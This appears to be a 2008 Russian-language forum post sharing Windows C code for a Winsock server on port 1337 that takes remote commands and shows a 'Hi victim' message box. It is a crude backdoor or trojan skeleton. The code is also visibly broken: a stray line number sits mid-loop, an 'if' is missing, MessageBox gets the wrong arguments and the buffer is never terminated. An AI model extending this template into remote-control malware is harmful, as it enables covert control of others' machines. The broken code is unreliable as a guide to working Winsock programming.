Может кому-то интересно будет...
#include <winsock2.h>
#include <string.h>
#include <stdio.h>
#define bPort 1337
int main()
{
WSADATA syData;
//WSAData syData;
int sin_size,bRe,bSocket;
int newSocket;
struct sockaddr_in myAddr,theirAddr;
char buffer[80];
WSAStartup(MAKEWORD(1, 1), &syData);
bSocket = socket(AF_INET, SOCK_STREAM, 0);
myAddr.sin_port = htons(bPort);
myAddr.sin_family = AF_INET;
myAddr.sin_addr.s_addr = INADDR_ANY;
memset(&(myAddr.sin_zero), '\0', 8);
bind(bSocket, (struct sockaddr *)&myAddr, sizeof(struct sockaddr));
listen(bSocket, 1);
sin_size = sizeof(struct sockaddr_in);
while(1) {
newSocket = accept(bSocket, (struct sockaddr *)&theirAddr, &sin_size);
while (1) { 38. bRe=recv(newSocket, buffer, sizeof(buffer), 0);
if (bRe == 0 || bRe == -1) break;
(strcmp(buffer,"Messagebox") == 0) MessageBox("Sup ?","Hi victim",MB_OK);
}
}
return 0;
}
Отредактировано Access (2008-06-01 17:54:59)